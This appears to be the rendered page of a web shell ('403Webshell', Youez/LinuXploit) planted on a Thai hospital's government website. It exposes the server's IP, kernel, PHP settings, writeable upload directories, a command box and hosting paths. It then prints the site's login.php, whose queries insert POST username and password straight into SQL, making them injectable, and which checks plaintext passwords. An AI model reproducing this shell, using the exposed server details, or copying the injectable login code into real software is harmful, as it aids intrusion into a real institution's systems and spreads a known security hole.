403Webshell
Server IP : 104.21.73.108  /  Your IP : 216.73.216.59
Web Server : Apache/2
System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
User : paphayomho ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/paphayomho/domains/paphayomhospital.go.th/private_html/HHC/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/paphayomho/domains/paphayomhospital.go.th/private_html/HHC//login.php
<?php
		include('dbcon.php');
		session_start();
		$username = $_POST['username'];
		$password = $_POST['password'];
		/* student */
		$resultFilms = $conn->prepare("select * from users where username = '$username' and password = '$password'")or die(mysql_error());
		$resultFilms->execute();
		$num_row = $resultFilms->rowcount();
		$row = $resultFilms->fetch();
		/* teacher */
		$query_teacher = $conn->prepare("SELECT * FROM program_coordinator WHERE username='$username' AND password='$password'")or die(mysql_error());
		$query_teacher->execute();	
		$num_row_teacher = $query_teacher->rowcount();
		$row_teahcer = $query_teacher->fetch();
		if( $num_row > 0 ) { 
		$_SESSION['id']=$row['user_id'];
		echo 'true_user';	
		$conn->query("insert into user_log (username,login_date,user_id)values('$username',NOW(),".$row['user_id'].")")or die(mysql_error()); 
		}else if ($num_row_teacher > 0){
		$_SESSION['id']=$row_teahcer['program_coordinator_id'];
		echo 'true';
		$conn->query("insert into user_log (username,login_date,user_id)values('$username',NOW(),".$row_teahcer['program_coordinator_id'].")")or die(mysql_error());
		 } else{ 
				echo 'false';
		}	
		?>

Youez - 2016 - github.com/yon3zu
LinuXploit